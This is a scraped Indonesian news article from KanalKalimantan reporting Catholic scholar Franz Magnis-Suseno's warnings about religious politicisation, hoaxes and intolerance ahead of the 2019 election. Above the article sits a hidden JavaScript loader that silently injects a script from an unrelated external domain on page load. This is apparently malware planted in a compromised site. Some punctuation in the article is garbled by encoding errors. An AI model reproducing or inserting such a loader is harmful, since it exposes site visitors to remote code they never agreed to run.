(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Suhu politik menjelang Pemilu 2019 terasa semakin memanas. Ragam cara dilakukan oleh parpol maupun relawan demi memperjuangkan pilihan mereka dan menjatuhkan lawan. Termasuk politisasi agama yang kian marak.
Prof. Dr. Franz Magnis Suseno, rohaniawan Katolik dan budayawan Indonesia yang sudah menerbitkan banyak buku ini juga mengatakan bahwa suhu politik dewasa ini sangat tinggi karena adanya politisasi agama.
Ditemui usai Seminar Politik yang diadakan oleh Vox Point Indonesia DPD Kalimantan Selatan di Aula Sasana Hati katerdal, Banjarmasin. Romo Magnisâ€â€panggilan akrabâ€â€menyampaikan bahwa masyarakat harus benar-benar menjaga kampanye dan pemilu berjalan dengan objektif, berdasarkan argumentasi politik dan tidak berdasarkan macam-macam emosi yang tidak ada sangkut pautnya dengan politik. “Hoaks dan fitnah juga harus ditegaskan,†tambahnya.
Mengenai kedua paslon capres-cawapres yang keduanya terus menjual janji-janji dan sikap yang memutlakan diri masing-masing ini juga merupakan suatu hal yang tidak benar menurutnya.
Selain itu, warna-warni intoleransi yang menyebar pun menjadi perhatian Direktur Program Pasca Sarjana Sekolah Tinggi Filsafat Driyarkara ini. Meski intoleransi di tiap tahunnya selalu “sama sajaâ€Â, tapi jika dibiarkan, kelak intoleransi akan semakin dikembangkan secara sistematik oleh kelompok-kelompok tertentu.
Apalagi seperti yang diketahui, Indonesia merupakan sebuah negara yang berlandaskan hukum. “Apa yang dilakukan masyarakat harus berdasarkan hukum. Tiap tindakan intoleran tidak punya dasar hukum, tidak boleh dibiarkan,†tuturnya.
Ia mengambil contoh penutupan rumah ibadah dan pelarangan izin ibadah yang akhir-akhir ini kerap menghiasi dunia pemberitaan. Meskipun baginya hal ini tidak ada kaitannya dengan unsur politik, tapi hal-hal seperti pelarangan dan penutupan tetap harus menggunakan cara hukum. “Tidak boleh dipaksa tutup. Pemaksaan dalam negara hukum tidak bisa dibenarkan sama sekali†jelas pria kelahiran 26 Mei 1936 ini.
Pia kelahiran Bożków, Nowa Ruda, Polandia yang kini sudah beralih kebangsaan menjadi warga Negara Indonesia menyampaikan pesan kepada umat Katolik agar harus sadar terhadap kepentingan dan keputusan yang akan diambil saat pemilu nanti. Ia juga mengajak agar semua harus ikut berpartisipasi dam tidak boleh abstain. “Masyarakat juga harus cerdas memilah yang mana benar, hoaks dan fitnah,†tutupnya. (mario)
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
This website uses cookies.